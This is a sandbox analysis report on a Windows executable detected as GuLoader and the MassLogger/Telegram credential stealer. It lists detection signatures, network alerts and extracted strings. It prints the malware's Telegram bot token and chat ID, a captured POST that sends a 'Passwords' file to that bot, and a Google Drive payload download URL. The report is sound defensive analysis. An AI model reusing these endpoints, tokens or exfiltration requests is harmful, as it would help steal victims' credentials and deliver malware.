Edit tour

Windows Analysis Report
FILHKLtCw0.exe

Overview

General Information

Sample name:	FILHKLtCw0.exe renamed because original name is a hash value
Original sample name:	12ba9e377bd0dd9470038a28d9c076d28bd8e4bc9c419148a7ae4c20b7a831ba.exe
Analysis ID:	1587996
MD5:	a2c795a981ddc798d11ec6e3ade42301
SHA1:	e650b31efaf33eaf34f92fea24e56d130d91a1f9
SHA256:	12ba9e377bd0dd9470038a28d9c076d28bd8e4bc9c419148a7ae4c20b7a831ba
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

FILHKLtCw0.exe (PID: 2920 cmdline: "C:\Users\user\Desktop\FILHKLtCw0.exe" MD5: A2C795A981DDC798D11EC6E3ADE42301)

FILHKLtCw0.exe (PID: 5852 cmdline: "C:\Users\user\Desktop\FILHKLtCw0.exe" MD5: A2C795A981DDC798D11EC6E3ADE42301)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA", "Telegram Chatid": "1934716051"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2868592478.0000000003DC1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: FILHKLtCw0.exe PID: 5852	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: FILHKLtCw0.exe PID: 5852	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FILHKLtCw0.exe PID: 5852	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:24:10.630821+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59244	149.154.167.220	443	TCP
2025-01-10T20:24:14.585687+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59246	149.154.167.220	443	TCP
2025-01-10T20:24:17.898382+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59248	149.154.167.220	443	TCP
2025-01-10T20:24:19.416338+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59250	149.154.167.220	443	TCP
2025-01-10T20:24:21.746582+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59252	149.154.167.220	443	TCP
2025-01-10T20:24:23.224034+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59254	149.154.167.220	443	TCP
2025-01-10T20:24:24.812890+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59256	149.154.167.220	443	TCP
2025-01-10T20:24:26.278739+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	59258	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:24:02.515912+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	59242	193.122.6.168	80	TCP
2025-01-10T20:24:09.781628+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	59242	193.122.6.168	80	TCP
2025-01-10T20:24:13.719098+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	59245	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:23:56.219592+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59240	142.250.181.238	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:24:10.431548+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59244	149.154.167.220	443	TCP
2025-01-10T20:24:14.333494+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59246	149.154.167.220	443	TCP
2025-01-10T20:24:17.723033+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59248	149.154.167.220	443	TCP
2025-01-10T20:24:19.237869+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59250	149.154.167.220	443	TCP
2025-01-10T20:24:21.560698+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59252	149.154.167.220	443	TCP
2025-01-10T20:24:23.044538+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59254	149.154.167.220	443	TCP
2025-01-10T20:24:24.566117+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59256	149.154.167.220	443	TCP
2025-01-10T20:24:26.101869+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	59258	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3182720a9442Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgX
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036114000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: FILHKLtCw0.exe, 00000004.00000002.3310429349.0000000038998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: FILHKLtCw0.exe, 00000004.00000002.3310429349.0000000038998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/H
Source: FILHKLtCw0.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000360A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/Y
Source: FILHKLtCw0.exe, 00000004.00000002.3290435449.0000000007680000.00000004.00001000.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ
Source: FILHKLtCw0.exe, 00000004.00000003.3019370982.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: FILHKLtCw0.exe, 00000004.00000003.3019370982.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/VT
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ&export=download
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 59246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59246
Source: unknown	Network traffic detected: HTTP traffic on port 59254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59248
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59240
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59250
Source: unknown	Network traffic detected: HTTP traffic on port 59252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59250 -> 443

Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.5:59240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.5:59241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:59244 version: TLS 1.2

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032A0

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00407041	4_2_00407041
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_0040686A	4_2_0040686A
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00404B30	4_2_00404B30
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00114328	4_2_00114328
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00119048	4_2_00119048
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00115968	4_2_00115968
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00115F90	4_2_00115F90
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_001127B9	4_2_001127B9
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00112DD1	4_2_00112DD1
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38387848	4_2_38387848
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38383318	4_2_38383318
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_383803B0	4_2_383803B0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838CCA0	4_2_3838CCA0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838C638	4_2_3838C638
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838566E	4_2_3838566E
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838B07F	4_2_3838B07F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838F054	4_2_3838F054
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838B930	4_2_3838B930
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838C1F2	4_2_3838C1F2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838DA89	4_2_3838DA89
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838E339	4_2_3838E339
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838E347	4_2_3838E347
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838EBF2	4_2_3838EBF2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838CCA2	4_2_3838CCA2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838B4D8	4_2_3838B4D8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838BD9C	4_2_3838BD9C
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38387E1E	4_2_38387E1E
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38386EA0	4_2_38386EA0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38386E91	4_2_38386E91
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838DEE1	4_2_3838DEE1
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838E79F	4_2_3838E79F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838E790	4_2_3838E790
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDA9B0	4_2_38EDA9B0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDBA8E	4_2_38EDBA8E
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDA360	4_2_38EDA360
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDBDF0	4_2_38EDBDF0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED9D10	4_2_38ED9D10
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED96C8	4_2_38ED96C8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED8650	4_2_38ED8650
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED20F8	4_2_38ED20F8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED7061	4_2_38ED7061
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED7070	4_2_38ED7070
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED0040	4_2_38ED0040
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED1858	4_2_38ED1858
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED4820	4_2_38ED4820
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED4812	4_2_38ED4812
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED51F8	4_2_38ED51F8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDA9A0	4_2_38EDA9A0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED29B8	4_2_38ED29B8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDF138	4_2_38EDF138
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED2108	4_2_38ED2108
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5AA8	4_2_38ED5AA8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5AB8	4_2_38ED5AB8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDBA97	4_2_38EDBA97
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED3268	4_2_38ED3268
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED3258	4_2_38ED3258
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5208	4_2_38ED5208
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5207	4_2_38ED5207
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED13F0	4_2_38ED13F0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED43C8	4_2_38ED43C8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED6368	4_2_38ED6368
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED7B4F	4_2_38ED7B4F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED6358	4_2_38ED6358
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDA352	4_2_38EDA352
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED3B08	4_2_38ED3B08
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED3B18	4_2_38ED3B18
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED74C8	4_2_38ED74C8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED1CA0	4_2_38ED1CA0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED74B8	4_2_38ED74B8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED1CB0	4_2_38ED1CB0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED6C09	4_2_38ED6C09
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED1400	4_2_38ED1400
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED6C18	4_2_38ED6C18
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED4DB0	4_2_38ED4DB0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED4DB2	4_2_38ED4DB2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED2560	4_2_38ED2560
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED255F	4_2_38ED255F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED2550	4_2_38ED2550
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED9D00	4_2_38ED9D00
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED36C0	4_2_38ED36C0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED36C2	4_2_38ED36C2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED0EB9	4_2_38ED0EB9
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED96B8	4_2_38ED96B8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5660	4_2_38ED5660
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED8640	4_2_38ED8640
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5650	4_2_38ED5650
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED2E00	4_2_38ED2E00
